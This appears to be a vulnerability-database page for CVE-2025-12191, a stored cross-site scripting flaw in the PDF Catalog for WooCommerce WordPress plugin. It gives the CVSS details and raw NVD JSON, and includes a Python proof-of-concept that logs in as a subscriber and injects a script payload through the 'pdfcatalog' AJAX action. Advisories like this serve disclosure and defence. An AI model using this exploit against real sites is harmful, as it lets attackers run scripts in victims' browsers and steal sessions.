Security Vulnerability Report
中文
CVE-2025-12191 CVSS 5.4 MEDIUM

CVE-2025-12191

Published: 2025-12-05 06:16:07
Last Modified: 2026-04-15 00:35:42

Description

The PDF Catalog for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'pdfcatalog' AJAX action in all versions up to, and including, 1.1.18 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

PDF Catalog for WooCommerce <= 1.1.18

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12191 PoC - Stored XSS via pdfcatalog AJAX action # Affected: PDF Catalog for WooCommerce <= 1.1.18 import requests import sys target_url = "http://target-wordpress-site.com" # Login to get valid nonce and cookies login_url = f"{target_url}/wp-login.php" ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Malicious XSS payload xss_payload = "<script>alert(document.cookie)</script>" def exploit_cve_2025_12191(): """Exploit stored XSS in pdfcatalog AJAX action""" # Step 1: Authenticate with subscriber-level account session = requests.Session() login_data = { 'log': 'attacker_username', 'pwd': 'attacker_password', 'wp-submit': 'Log In', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Inject XSS payload via pdfcatalog AJAX action exploit_data = { 'action': 'pdfcatalog', 'pdf_title': f'{xss_payload}', 'pdf_description': f'{xss_payload}', } response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print("[+] XSS payload injected successfully") print("[*] Payload will execute when admin views the catalog page") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": exploit_cve_2025_12191()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12191", "sourceIdentifier": "[email protected]", "published": "2025-12-05T06:16:06.910", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The PDF Catalog for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'pdfcatalog' AJAX action in all versions up to, and including, 1.1.18 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.org/plugins/pdf-catalog-for-woocommerce/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cb5f5e33-e066-4a85-9367-4b8c2f948adf?source=cve", "source": "[email protected]"}]}}